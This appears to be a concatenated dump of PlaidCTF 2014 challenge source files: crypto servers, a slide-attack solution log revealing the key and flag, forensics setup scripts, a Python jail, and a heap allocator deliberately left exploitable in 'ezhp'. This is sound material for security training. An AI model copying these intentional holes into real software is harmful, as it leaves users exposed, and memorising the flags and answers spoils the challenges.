81 | self.monies += self.bet*(2<<(self.odds-1))
82 | else:
83 | self.request.send("\nToo bad, we generated %d, not 0... better luck next time!"%result)
84 | elif m == 4:
85 | self.request.send("Your current balance is $%d"%self.monies)
86 | elif m == 5:
87 | self.request.send("What? You think we're cheaters? Fine, the nonce has been "+
88 | self.nonce.encode("hex")+"\n")
89 | self.request.send("Who is the cheater now, huh?")
90 | self.nonce = os.urandom(16)
91 | self.user_nonces = []
92 | elif m == 6:
93 | return 0
94 |
95 |
96 | SocketServer.TCPServer.allow_reuse_address = True
97 | server = threadedserver(("0.0.0.0", 4321), incoming)
98 | server.timeout = 4
99 | server_thread = threading.Thread(target=server.serve_forever)
100 | server_thread.daemon = False
101 | server_thread.start()
102 |
103 |
--------------------------------------------------------------------------------
/crypto/twenty/gen.py:
--------------------------------------------------------------------------------
1 | from random import randint
2 | alphabet = "abcdefghijklmnopqrstuvwxyz"
3 | plaintext = filter(lambda z: z in alphabet, open('plaintext').read().lower())
4 | d = {}
5 | chosen = []
6 | for c in alphabet:
7 | z = randint(0, 25)
8 | while alphabet[z] in chosen:
9 | z = randint(0, 25)
10 | d[c] = alphabet[z]
11 | chosen.append(alphabet[z])
12 |
13 | print ''.join(d[c] for c in plaintext)
14 |
15 |
--------------------------------------------------------------------------------
/crypto/twenty/plaintext:
--------------------------------------------------------------------------------
1 | This is the world's best rap
2 |
3 | Yo it's geohot
4 | And for those that don't know
5 | I'm getting sued by Sony
6 |
7 | Let's take this out of the courtroom and into the streets
8 | I'm a beast, at the least, you'll face me in the northeast
9 | Get my ire up, light my fire
10 | I'll go harder than Eminem went at Mariah
11 | Call me a liar
12 | Pound me in the ass with no lube, chafing
13 | You're fucking with the dude who got the keys to your safe and
14 | Those that can't do bring suits
15 | Cry to your Uncle Sam to settle disputes
16 | Thought you'd tackle this with a little more tact
17 | But then again fudgepackers, I don't know Jack
18 |
19 | I shed a tear everytime I think of Lik Sang
20 | But shit man, they're a corporation
21 | And I'm a personification of freedom for all
22 | You fill dockets, like thats a concept foreign to y'all
23 | While lawyers muddy water and TROs stall
24 | Out of business is jail for me
25 | And you're suing me civilly
26 |
27 | Exhibit this in the courtroom
28 | Go on, do it, I dare you
29 |
30 | Congratulations the flag is sincenewcryptomighthavensabackdoorsiuseoldcrypto.
31 |
--------------------------------------------------------------------------------
/crypto/twenty/twenty.txt:
--------------------------------------------------------------------------------
1 | fvoxoxfvwdepagxmwxfpukleofxhwevefuygzepfvexwfvufgeyfryedojhwffoyhxcwgmlxeylawfxfurwfvoxecfezfvwbecpfpeejuygoyfefvwxfpwwfxojumwuxfuffvwawuxflecaazubwjwoyfvwyepfvwuxfhwfjlopwckaohvfjlzopwoaahevupgwpfvuywjoywjdwyfufjupouvbuaajwuaoupkecygjwoyfvwuxxdofvyeacmwbvuzoyhlecpwzcbroyhdofvfvwgcgwdveheffvwrwlxfelecpxuzwuygfvexwfvufbuyfgempoyhxcofxbplfelecpcybawxujfexwffawgoxkcfwxfvechvflecgfubrawfvoxdofvuaoffawjepwfubfmcffvwyuhuoyzcghwkubrwpxogeyfryediubroxvwgufwupwswplfojwofvoyrezaorxuyhmcfxvofjuyfvwlpwubepkepufoeyuygojukwpxeyozobufoeyezzpwwgejzepuaaleczoaagebrwfxaorwfvufxubeybwkfzepwohyfeluaadvoawaudlwpxjcggldufwpuygfpexxfuaaecfezmcxoywxxoxiuoazepjwuyglecpwxcoyhjwbosoaalwnvomoffvoxoyfvwbecpfpeejheeygeofogupwlecbeyhpufcaufoeyxfvwzauhoxxoybwywdbplkfejohvfvuswyxumubrgeepxocxweagbplkfe
2 |
--------------------------------------------------------------------------------
/crypto/wheeeeeeeeeeeeeeeeeeeeeee/check:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/crypto/wheeeeeeeeeeeeeeeeeeeeeee/check
--------------------------------------------------------------------------------
/crypto/wheeeeeeeeeeeeeeeeeeeeeee/cimpl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/crypto/wheeeeeeeeeeeeeeeeeeeeeee/cimpl
--------------------------------------------------------------------------------
/crypto/wheeeeeeeeeeeeeeeeeeeeeee/server.py:
--------------------------------------------------------------------------------
1 | from hashlib import sha512,sha1
2 | import random,sys,struct
3 | import SocketServer
4 | import base64 as b64
5 | import os
6 | import hmac
7 | from time import time
8 | import math
9 | from hashlib import sha512
10 | import array,binascii
11 | import collections
12 | from hashlib import sha512,sha1
13 | import base64 as b64
14 | import random,sys,struct
15 | import SocketServer,os
16 | from time import time
17 | from subprocess import Popen, PIPE
18 | import threading
19 |
20 | KEY = [2633, 3247]# [0, 0] # Not the real key, obviously...
21 | FLAGE = "Gotta love it when you can SLIDE. The flage is id_almost_rather_be_sledding"
22 | ENC_FLAGE = "85b3e329c9825ce21133ea8afc232f9eb575fbfe9479900c89b682b28e6d8c73c9ff0042b27766d5e2de33ea8a95037ae50048701ec5225a9360d9163ba61f4747d828a1c420b0692b426f"
23 |
24 | M = 12
25 | N = M * 2
26 | K = N
27 | numrounds = 2 ** 24 # Protip: would not bruteforce this if I were you.
28 |
29 | def genTable(seed="Function shamelessly stolen from bagre"):
30 | fSub = {}
31 | fInvSub = {}
32 | i = 0
33 | prng = sha512()
34 | prng.update(seed)
35 | seed = prng.digest()
36 | cSeed = ""
37 | for x in xrange(2048):
38 | cSeed+=prng.digest()
39 | prng.update(str(x)+prng.digest())
40 | fCharSub = [0]*(2**M)
41 | gCharSub = [0]*(2**M)
42 | unused = range(2**M)
43 | for x in xrange(0,2**(M+1),2):
44 | curInd = (ord(cSeed[x]) + (ord(cSeed[x + 1]) << 8)) % len(unused)
45 | toDo = unused[curInd]
46 | del unused[curInd]
47 | fSub[x / 2] = toDo
48 | fInvSub[toDo] = x / 2
49 | return fSub, fInvSub
50 |
51 | f, fInv = genTable()
52 | f2, fInv2 = genTable("Good thing I didn't also steal the seed!")
53 |
54 | def F(s, k):
55 | return f[s ^ k]
56 |
57 | def F2(s, k):
58 | return f2[s^k]
59 |
60 | def FInv(s, k):
61 | return fInv[s] ^ k
62 | def F2Inv(s, k):
63 | return fInv2[s] ^k
64 |
65 | def get_key(key, n):
66 | return key[n & 1]
67 |
68 | def encrypt_block(plaintext, key):
69 | txt = plaintext
70 | l, r = (txt >> M) & ((1 << M) - 1), txt & ((1 << M) - 1)
71 | for x in xrange(numrounds):
72 | if x % 2 == 0:
73 | l1 = r
74 | r1 = l ^ F(r, key[0])
75 | l, r = l1, r1
76 | else:
77 | l1 = l
78 | r1 = l ^ F2(r, key[1])
79 | l, r = l1, r1
80 | return l << M | r
81 |
82 | def decrypt_block(ciphertext, key):
83 | txt = ciphertext
84 | l, r = (txt >> M) & ((1 << M) - 1), txt & ((1 << M) - 1)
85 | for x in xrange(numrounds):
86 | y = numrounds - x - 1
87 | if y % 2 == 0:
88 | r0 = l
89 | l0 = r ^ F(l, get_key(key, y))
90 | l, r = l0, r0
91 | else:
92 | l0 = l
93 | r0 = F2Inv(l ^ r, get_key(key, y))
94 | l, r = l0, r0
95 | return l << M | r
96 |
97 | def extract(s):
98 | c = 0
99 | for x in s:
100 | c = (c << 8) | ord(x)
101 | return c
102 |
103 | def intract(n):
104 | s = []
105 | while n > 0:
106 | s.append(chr(n & 0xff))
107 | n = n >> 8
108 | return ''.join(s[::-1])
109 |
110 | def get_blocks(txt):
111 | n = N / 8
112 | if len(txt) % n != 0:
113 | txt += '\x00' * (n - len(txt) % n)
114 | block_strs = [txt[i*n:i*n+n] for i in range(len(txt) / n)]
115 | return [extract(s) for s in block_strs]
116 |
117 | def unblocks(l):
118 | z = [intract(x) for x in l]
119 | s = ''.join(z)
120 | s = s.strip('\x00')
121 | return s
122 |
123 | # Whee ECB
124 | def encrypt(plaintext):
125 | blocks = get_blocks(plaintext)
126 | ars = [str(len(blocks))] + [str(block) for block in blocks]
127 | process = Popen(["./cimpl", str(KEY[0]), str(KEY[1])], stdin=PIPE, stdout=PIPE)
128 | (output, _) = process.communicate("\n".join(ars) + "\n")
129 | output = map(int, output.split('\n')[:-1])
130 | return unblocks(output)
131 | def decrypt(ciphertext):
132 | blocks = get_blocks(ciphertext)
133 | out = [decrypt_block(block, KEY) for block in blocks]
134 | return unblocks(out)
135 |
136 | class HandleCryptoService(SocketServer.BaseRequestHandler):
137 | def doPOW(self):
138 | req=self.request
139 | proof = b64.b64encode(os.urandom(12))
140 | req.sendall("We would first like some proof of work.\n")
141 | req.sendall("Send us a string starting with %s, of length %s, such that its sha1 sum ends in ffffff\n"% (proof, str(len(proof)+5)))
142 | test = req.recv(21)
143 | req.recv(1)
144 | ha = sha1()
145 | ha.update(test)
146 | if (test[0:16] != proof or ha.digest()[-3:] != "\xff\xff\xff"):
147 | req.sendall("Invalid proof of work!\n")
148 | req.close()
149 | return False
150 | return True
151 |
152 | def handle(self):
153 | req = self.request
154 | if (not (self.doPOW())):
155 | req.close()
156 | return
157 | req.sendall("WHHEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\n")
158 | req.sendall(ENC_FLAGE + '\n')
159 | req.sendall("Send your encryption string: \n")
160 | data = req.recv(2049)[:-1].decode('hex')
161 | resp = encrypt(data)
162 | req.sendall(resp.encode('hex') + '\n')
163 | req.close()
164 |
165 | class ThreadedServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
166 | pass
167 |
168 | def checkKey():
169 | global ENC_FLAGE
170 | print "checking key..."
171 | valid = True
172 | process = Popen(["./check", str(KEY[0]), str(KEY[1])], stdin=PIPE, stdout=PIPE)
173 | blocks = get_blocks(FLAGE)
174 | try:
175 | (output, _) = process.communicate("\n".join([str(len(blocks))] + [str(x) for x in blocks]))
176 | except:
177 | valid = False
178 | if valid:
179 | ENC_FLAGE = output.strip('\n')
180 | return valid
181 |
182 | def updateKey():
183 | global KEY
184 | print "Changing key..."
185 | print "Old key:", KEY
186 | KEY = [random.randint(0, (1 << (K >> 1)) - 1), random.randint(0, (1 << (K >> 1)) -1)]
187 | while not checkKey():
188 | KEY = [random.randint(0, (1 << (K >> 1)) - 1), random.randint(0, (1 << (K >> 1)) -1)]
189 | print "New key:", KEY
190 | print "New ENC_FLAGE:", ENC_FLAGE
191 | threading.Timer(10 * 60, updateKey, []).start()
192 |
193 | if __name__ == "__main__":
194 | HOST, PORT = "", 0
195 | threading.Timer(1, updateKey, []).start()
196 | ThreadedServer.allow_reuse_address = True
197 | server = ThreadedServer((HOST, PORT), HandleCryptoService)
198 | server.allow_reuse_address = True
199 | server.serve_forever()
200 |
201 |
--------------------------------------------------------------------------------
/crypto/wheeeeeeeeeeeeeeeeeeeeeee/solutions/mserrano/csol:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/crypto/wheeeeeeeeeeeeeeeeeeeeeee/solutions/mserrano/csol
--------------------------------------------------------------------------------
/crypto/wheeeeeeeeeeeeeeeeeeeeeee/solutions/mserrano/example_run.txt:
--------------------------------------------------------------------------------
1 | mserrano@euler ~/hm% python client.py
2 | Block size 24
3 | Feistel, so we need 2 7 bit pools.
4 | Compared to a 24 bit bruteforce.
5 | Our total runtime will be O(2^26) compared to O(2^42.0) for bruteforce.
6 | So, we need a 12 bit prefix/postfix.
7 | Our prefix will be 0xfff
8 | But it doesn't actually matter what it is.
9 | Okay, we have our plaintext pools.
10 | Now go get ciphertexts.
11 | Got first pool. 13.8609449863
12 | Got ciphertexts.
13 | 27.7637848854
14 | Okay, now we need to be clever.
15 | Outer iteration 0 7.86781311035e-06
16 | Outer iteration 1 0.675776958466
17 | Outer iteration 2 1.34178495407
18 | Outer iteration 3 2.02189302444
19 | Outer iteration 4 2.69539499283
20 | Outer iteration 5 3.38463783264
21 | Outer iteration 6 4.04581284523
22 | Outer iteration 7 4.71696281433
23 | Outer iteration 8 5.39439487457
24 | Outer iteration 9 6.07403588295
25 | Outer iteration 10 6.74686098099
26 | Outer iteration 11 7.43512201309
27 | Outer iteration 12 8.14160203934
28 | Outer iteration 13 8.82401490211
29 | Outer iteration 14 9.51371002197
30 | Outer iteration 15 10.2053599358
31 | Outer iteration 16 10.907130003
32 | Outer iteration 17 11.6007759571
33 | Outer iteration 18 12.2856488228
34 | Outer iteration 19 12.9789068699
35 | Outer iteration 20 13.657984972
36 | Outer iteration 21 14.3479809761
37 | Outer iteration 22 15.0410718918
38 | Outer iteration 23 15.7365038395
39 | Outer iteration 24 16.4958968163
40 | Outer iteration 25 17.1787438393
41 | Outer iteration 26 17.8528800011
42 | Outer iteration 27 18.5410439968
43 | Outer iteration 28 19.226929903
44 | Outer iteration 29 19.9167859554
45 | Outer iteration 30 20.5939748287
46 | Outer iteration 31 21.2792258263
47 | Outer iteration 32 21.968200922
48 | Outer iteration 33 22.6377549171
49 | Outer iteration 34 23.3202588558
50 | Outer iteration 35 23.9967238903
51 | Outer iteration 36 24.6890740395
52 | Outer iteration 37 25.3801848888
53 | Found a slid pair!
54 | Resulting key (2633, 3247)
55 | Gotta love it when you can SLIDE. The flage is id_almost_rather_be_sledding
56 |
--------------------------------------------------------------------------------
/crypto/wheeeeeeeeeeeeeeeeeeeeeee/wheeeee.py:
--------------------------------------------------------------------------------
1 | from hashlib import sha512,sha1
2 | import random
3 |
4 | KEY = [0, 0]
5 |
6 | M = 12
7 | N = M * 2
8 | K = N
9 | numrounds = 2 ** 24 # Protip: would not bruteforce this if I were you.
10 |
11 | def genTable(seed="Function shamelessly stolen from bagre"):
12 | fSub = {}
13 | i = 0
14 | prng = sha512()
15 | prng.update(seed)
16 | seed = prng.digest()
17 | cSeed = ""
18 | for x in xrange(2048):
19 | cSeed+=prng.digest()
20 | prng.update(str(x)+prng.digest())
21 | fCharSub = [0]*(2**M)
22 | gCharSub = [0]*(2**M)
23 | unused = range(2**M)
24 | for x in xrange(0,2**(M+1),2):
25 | curInd = (ord(cSeed[x]) + (ord(cSeed[x + 1]) << 8)) % len(unused)
26 | toDo = unused[curInd]
27 | del unused[curInd]
28 | fSub[x / 2] = toDo
29 | return fSub
30 |
31 | f = genTable()
32 | f2 = genTable("Good thing I didn't also steal the seed!")
33 |
34 | def gen_key():
35 | k0 = random.randint(0,2**(K/2)-1)
36 | k1 = random.randint(0,2**(K/2)-1)
37 | return [k0, k1]
38 |
39 | def F(s, k):
40 | return f[s ^ k]
41 |
42 | def F2(s, k):
43 | return f2[s^k]
44 |
45 | def get_key(key, n):
46 | return key[n & 1]
47 |
48 | def encrypt_block(plaintext, key):
49 | txt = plaintext
50 | l, r = (txt >> M) & ((1 << M) - 1), txt & ((1 << M) - 1)
51 | for x in xrange(numrounds):
52 | if x % 2 == 0:
53 | l1 = r
54 | r1 = l ^ F(r, key[0])
55 | l, r = l1, r1
56 | else:
57 | l1 = l
58 | r1 = l ^ F2(r, key[1])
59 | l, r = l1, r1
60 | return l << M | r
61 |
62 | def extract(s):
63 | c = 0
64 | for x in s:
65 | c = (c << 8) | ord(x)
66 | return c
67 |
68 | def intract(n):
69 | s = []
70 | while n > 0:
71 | s.append(chr(n & 0xff))
72 | n = n >> 8
73 | return ''.join(s[::-1])
74 |
75 | def get_blocks(txt):
76 | n = N / 8
77 | if len(txt) % n != 0:
78 | txt += '\x00' * (n - len(txt) % n)
79 | block_strs = [txt[i*n:i*n+n] for i in range(len(txt) / n)]
80 | return [extract(s) for s in block_strs]
81 |
82 | def unblocks(l):
83 | z = [intract(x) for x in l]
84 | s = ''.join(z)
85 | s = s.strip('\x00')
86 | return s
87 |
88 | def encrypt(plaintext):
89 | blocks = get_blocks(plaintext)
90 | out = [encrypt_block(block, KEY) for block in blocks]
91 | return unblocks(out)
92 |
93 |
94 |
--------------------------------------------------------------------------------
/forensics/curlcore/curlcore.sh:
--------------------------------------------------------------------------------
1 | #/bin/sh
2 |
3 | sudo rm /tmp/capture 2>/dev/null
4 | sudo dumpcap -i eth0 -w /tmp/capture &
5 | DUMPCAPPID=$!
6 |
7 | sleep 1
8 | OUTPUT="`/usr/bin/env -i /bin/dash -c 'ulimit -c unlimited; curl -k https://curlcore.local.plaidctf.com/flag.html & PID=$!; sleep 5; printf "generate-core-file\ninfo proc mappings\ndetach\n" | sudo gdb attach $PID; wait'`"
9 | sleep 1
10 |
11 | sudo kill -INT $DUMPCAPPID
12 | wait
13 |
14 | sudo chown `whoami` /tmp/capture
15 |
16 | echo "$OUTPUT"
17 |
18 | sudo mv "`echo "$OUTPUT" | grep -o 'Saved corefile .*$' | cut -c 16-`" /tmp/corefile
19 | sudo chown `whoami` /tmp/corefile
20 |
21 |
22 | echo "$OUTPUT" | awk '/Mapped address spaces/,/(gdb)/' | grep -v '(gdb)' > /tmp/coremaps
23 |
24 | rm /tmp/curlcore.tgz 2>/dev/null
25 | tar czf /tmp/curlcore.tgz `grep -o ' /.*$' /tmp/coremaps | sort -us | tr '\n' ' '` /tmp/corefile /tmp/coremaps /tmp/capture "$0"
26 |
--------------------------------------------------------------------------------
/forensics/curlcore/makepem.sh:
--------------------------------------------------------------------------------
1 | openssl req -x509 -newkey rsa:2048 -nodes -days 100 -keyout pem.pem -out pem.pem -extensions v3_req -subj '/C=US/O=Plaid Parliament of Pwning/CN=curlcore.local.plaidctf.com'
--------------------------------------------------------------------------------
/forensics/curlcore/sslserve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import BaseHTTPServer, SimpleHTTPServer
3 | import ssl
4 |
5 | from time import sleep
6 |
7 | class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
8 | def do_GET(self):
9 | if self.path != "/flag.html":
10 | self.send_response(404)
11 | return
12 | self.send_response(200)
13 | sleep(10)
14 | self.send_header("Content-type", "text/html")
15 | self.end_headers()
16 | self.wfile.write('''\
17 |
18 |
19 |
20 |
21 | curlcore
22 |
23 |
24 | CONGRATULATIONS!
25 |
26 | Your flag is: congratz_you_beat_openssl_as_a_whitebox
27 |
28 |
29 |
30 | ''')
31 |
32 | httpd = BaseHTTPServer.HTTPServer(('10.211.55.2', 443), MyHandler)
33 | httpd.socket = ssl.wrap_socket (httpd.socket, certfile='pem.pem', server_side=True)
34 | httpd.serve_forever()
35 |
--------------------------------------------------------------------------------
/forensics/rsa/README:
--------------------------------------------------------------------------------
1 | Okay, this isn't /really/ a forensics problem, but why not beef up our forensics
2 | category? This is like real world forensics, which just happens to be crypto.
3 |
4 | Anyway, participants are given a printout of openssl dumping an RSA key.
5 | However, a lot of it has been corrupted! ~70% of the bytes have been erased.
6 |
7 | They need to use fancy maths to recover the RSA key, which is very doable, but
8 | also very non-trivial. We should also make it clear that this is a crypto
9 | challenge, not a forensics challenge.
10 |
--------------------------------------------------------------------------------
/forensics/rsa/corrupted.pem:
--------------------------------------------------------------------------------
1 | r e y: (
2 | o lu :
3 | :d :f : d:b1:4 :5d: 2: 6: : 2: :8 : : :
4 | :c :0 : 1: c: 7: : : : : f: : :2c:6 :
5 | : 2: : 3: : f: :d : : : :a : 7: : e:
6 | b:7 : : :5 : 0:2 : : : 0: :9 : :2 : :
7 | e :7 : :30:d :0 : : : : : : : : : :
8 | e : : : : : : : : 3:95:f : c: :6 : :
9 | 8: :b9:dd: : : : :5 :8e: 0:41: 3: : :
10 | 0:3 :e :09: 0: :1 :5 :6 : :0 :0 : 3: : 5:
11 | 4: : : : : : : : b
12 | c xpon n : 53 (0 0 1
13 | v te xp n :
14 | f: : : a: a:9 :e : : 1: 2: : :e : :1 :
15 | 3 : 1: : : : a: :2 : : : : : : : :
16 | 9 : a: : : : : : 5:c1: 0:b : 3: 2:0 :b0:
17 | :c : f: :f : :d2: : : d: :1 : :3 : :
18 | : : :0 : 3: : : 5:c : :3 :6 : :a4: :
19 | 4 : : :8f: : : : : a: : c:5f: 7: 6: :
20 | 1: : b: : 5: :84:0 :b : f: 3: : : 4: 6:
21 | : : 5:1 : :d : : f: : c: : : 5: : :
22 | :e :f4:b :4 :8e: :
23 | r :
24 | 00: :6 : 1:1 : :b :0 : 2:c : b:2 : : a:1 :
25 | c : : 0: :28:0 : :cd: : 8: : :20: c: :
26 | : 5: :9 : c:3 : : : a:b :c :3 : : : :
27 | f: : : f: 1: 1:b : : c:f : a: :a : : :
28 | a:38: :6 :
29 | i :
30 | :e : :d :2 :6 : 7: :33: :46: : 4: : :
31 | :5 : : 4:6 : : 6: : e:d : : : 9: e:1 :
32 | : : : : :0 : : : :c : 5: : :a :0 :
33 | 6 : : :8 :e9:f : f:7 :5 : e:1 : : : 1:9 :
34 | 4:d :e9: 6:
35 | x n 1:
36 | 9:d : 5: :c :67: : 9: : : : d: : : 3:
37 | f:6 : 0:c : :6 :ad: :2 :d :d : : :0 :7 :
38 | :5 : 6: : 5:1 :f : d: : 2: : : 2: 3: :
39 | 9 : : : : :67: 3: :4 : 7:c0: 4:b :c :f :
40 | :3 :b : 1
41 | x on t :
42 | 1 : 9:47:8 : : : : 3: : : :6 : : :0 :
43 | e :e :8 : : : : : 1:c :74: : :d : 9:3 :
44 | 5 : e: : 2: :7 : 2:c : : : : :5 : : 8:
45 | : :c : : 1: :a : : 9: 5: : 3: : e:c :
46 | : : 6:
47 | c e i t:
48 | :a :d :84:f : : c:43: : : : 6: : : :
49 | : b: :c :9 : : : : : : 4:23:8b: :6 :
50 | 2 : 2: : : 7:5b: : : :7 : : : : : :
51 | f1:7 :1 : :f : a: : 5: : : : 5: : c: 1:
52 | :48: b: 6:
53 |
--------------------------------------------------------------------------------
/forensics/rsa/encrypted:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/forensics/rsa/encrypted
--------------------------------------------------------------------------------
/forensics/rsa/key:
--------------------------------------------------------------------------------
1 | crypt0>>>f0rensics3~
2 |
--------------------------------------------------------------------------------
/forensics/rsa/public.pub:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDb+r2xSV0ydudia4R5bp/CD6E8
3 | F0TxDIw/PjwsYEDC5/MT36PR/hDRrld8/qt0UqpTEC7ve+AJnAIlYOV6XDDVCUBk
4 | LRsJfdIQmuAvLc/4GYzVo5X8rEJmEHhIud1jw4fSU45QQVNDBCAz6gnAhBVeZSsP
5 | BiNA1dRxekAqnYBqawIDAQAB
6 | -----END PUBLIC KEY-----
7 |
--------------------------------------------------------------------------------
/pwnables/__nightmares__/nightmares.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python -u
2 | '''
3 | You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
4 | you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
5 | '''
6 |
7 | from imp import acquire_lock
8 | from threading import Thread
9 | from sys import modules, stdin, stdout
10 |
11 | # No more importing!
12 | x = Thread(target = acquire_lock, args = ())
13 | x.start()
14 | x.join()
15 | del x
16 | del acquire_lock
17 | del Thread
18 |
19 | # No more modules!
20 | for k, v in modules.iteritems():
21 | if v == None: continue
22 | if k == '__main__': continue
23 | v.__dict__.clear()
24 |
25 | del k, v
26 |
27 | __main__ = modules['__main__']
28 | modules.clear()
29 | del modules
30 |
31 | # No more anything!
32 | del __builtins__, __doc__, __file__, __name__, __package__
33 |
34 | print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
35 | while 1:
36 | exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}
37 |
--------------------------------------------------------------------------------
/pwnables/ezhp/Makefile:
--------------------------------------------------------------------------------
1 | all: ezhp
2 |
3 | ezhp: ezhp.c
4 | gcc -m32 -z execstack -std=c99 -w $^ -o $@
5 | strip $@
6 |
7 | .PHONY: clean
8 | clean:
9 | rm ezhp
10 |
11 |
--------------------------------------------------------------------------------
/pwnables/ezhp/ezhp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/pwnables/ezhp/ezhp
--------------------------------------------------------------------------------
/pwnables/ezhp/ezhp.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | // yay for a hilariously bad memory allocator..
7 | struct mm_header {
8 | size_t sz;
9 | struct mm_header *next;
10 | struct mm_header *prev;
11 | char buf[0];
12 | };
13 |
14 | typedef struct mm_header mm_header;
15 |
16 | mm_header *base;
17 |
18 | void __attribute__((constructor)) init_heap(void) {
19 | size_t base_amount = 2*sizeof(mm_header) + (1 << 10);
20 | base = sbrk(base_amount);
21 | base->next = base->prev = NULL;
22 | base->sz = sizeof(mm_header);
23 | mm_header *n = base + 1;
24 | base->next = n;
25 | n->prev = base;
26 | n->next = NULL;
27 | n->sz = (1 << 10);
28 | }
29 |
30 | #define THRESHOLD (sizeof(mm_header) * 4)
31 | void *allocate(size_t sz) {
32 | sz += sizeof(mm_header);
33 | sz += sizeof(mm_header) - (sz % sizeof(mm_header));
34 | mm_header *curr = base;
35 | while (curr && (curr->sz < sz || (curr->sz & 1))) {
36 | curr = curr->next;
37 | }
38 | if (!curr) {
39 | size_t base_amount = sizeof(mm_header) + (1 << 10);
40 | if (sz < base_amount) sz = base_amount;
41 | curr = sbrk(sz);
42 | curr->next = NULL;
43 | curr->sz = sz;
44 | mm_header *last = base;
45 | while (last->next) { last = last->next; }
46 | last->next = curr;
47 | curr->prev = last;
48 | curr->sz |= 1;
49 | return &curr->buf;
50 | }
51 | if (curr->sz - sz > THRESHOLD) {
52 | // split the block.
53 | mm_header *prev = curr->prev;
54 | mm_header *next = curr->next;
55 | mm_header *new_block = (mm_header *)((char *)curr + sz);
56 | new_block->prev = curr;
57 | new_block->next = next;
58 | new_block->sz = curr->sz - sz;
59 | if (next) next->prev = new_block;
60 | curr->next = new_block;
61 | curr->sz = sz;
62 | curr->sz |= 1;
63 | return &curr->buf;
64 | }
65 | curr->sz |= 1;
66 | return &curr->buf;
67 | }
68 |
69 | void deallocate(void *v) {
70 | if (!v) return;
71 | mm_header *curr = (mm_header *)((char *)v - sizeof(mm_header));
72 | mm_header *prev = curr->prev;
73 | mm_header *next = curr->next;
74 | // we don't bother coalescing.
75 | if (prev) prev->next = next;
76 | if (next) next->prev = prev;
77 | curr->next = base->next;
78 | if (base->next) base->next->prev = curr;
79 | base->next = curr;
80 | curr->sz &= ~1;
81 | }
82 |
83 | #define MAX_NOTES 1024
84 |
85 | char *notes[MAX_NOTES];
86 | int note_count = 0;
87 |
88 | void add_note() {
89 | if (MAX_NOTES-1 <= note_count) { puts("The emperor says there are too many notes!"); fflush(stdout); return; }
90 | size_t sz;
91 | puts("Please give me a size.");
92 | fflush(stdout);
93 | scanf("%d%*c", &sz);
94 |
95 | char *note = allocate(sz);
96 | notes[note_count] = note;
97 | note_count++;
98 | }
99 |
100 | void remove_note() {
101 | int id;
102 | puts("Please give me an id.");
103 | fflush(stdout);
104 | scanf("%d%*c", &id);
105 | if (id > note_count || id < 0) return;
106 | if (notes[id]) deallocate(notes[id]);
107 | notes[id] = NULL;
108 | }
109 |
110 | void read_into_note() {
111 | puts("Please give me an id.");
112 | fflush(stdout);
113 | int id;
114 | scanf("%d%*c", &id);
115 | if (id > note_count || id < 0) return;
116 | if (!notes[id]) return;
117 | size_t sz;
118 | puts("Please give me a size.");
119 | fflush(stdout);
120 | scanf("%d%*c", &sz);
121 | puts("Please input your data.");
122 | fflush(stdout);
123 | read(STDIN_FILENO, notes[id], sz);
124 | }
125 |
126 | void print_note() {
127 | int id;
128 | puts("Please give me an id.");
129 | fflush(stdout);
130 | scanf("%d%*c", &id);
131 | if (id > note_count || id < 0) { return; }
132 | puts(notes[id]);
133 | }
134 |
135 | int read_menu_option() {
136 | int res;
137 | puts("Please choose an option.");
138 | fflush(stdout);
139 | scanf("%d%*c", &res);
140 | return res;
141 | }
142 |
143 | void print_menu() {
144 | puts("Please enter one of the following:");
145 | puts("1 to add a note.");
146 | puts("2 to remove a note.");
147 | puts("3 to change a note.");
148 | puts("4 to print a note.");
149 | puts("5 to quit.");
150 | fflush(stdout);
151 | }
152 |
153 | int main() {
154 | int opt = 0;
155 | while (opt != 5) {
156 | print_menu();
157 | opt = read_menu_option();
158 | switch (opt) {
159 | case 1:
160 | add_note(); break;
161 | case 2:
162 | remove_note(); break;
163 | case 3:
164 | read_into_note(); break;
165 | case 4:
166 | print_note(); break;
167 | case 5:
168 | break;
169 | default:
170 | exit(0); break;
171 | }
172 | }
173 | return 0;
174 | }
175 |
--------------------------------------------------------------------------------
/pwnables/harry_potter/Makefile:
--------------------------------------------------------------------------------
1 | CXXFLAGS = -Os -g -fstack-protector
2 | LDFLAGS =
3 | OBJECTS = except.o aes256.o SHA256.o
4 |
5 | .PHONY: clean
6 |
7 | except: $(OBJECTS)
8 | $(CXX) $(CXXFLAGS) $(LDFLAGS) -o $@ $^
9 |
10 | clean:
11 | $(RM) $(OBJECTS)
12 |
13 |
--------------------------------------------------------------------------------
/pwnables/harry_potter/SHA256.h:
--------------------------------------------------------------------------------
1 | #ifndef SHA256_H
2 |
3 | #define SHA256_H
4 |
5 | // The header file defines a method to compute the SHA256 hash of a block of input data.
6 | //
7 | // This in 'snippet' form and has no external dependencies other than on 'stdint.h' which is available on most compilers.
8 | //
9 | // https://en.wikipedia.org/wiki/SHA-2
10 | //
11 | // The actual implementation of the method is a copy of the code written by Zilong Tan (eric.zltan@gmail.com) and released under MIT license
12 | //
13 |
14 | #include
15 | #include // Include stdint.h; available on most compilers but, if not, a copy is provided here for Microsoft Visual Studio
16 |
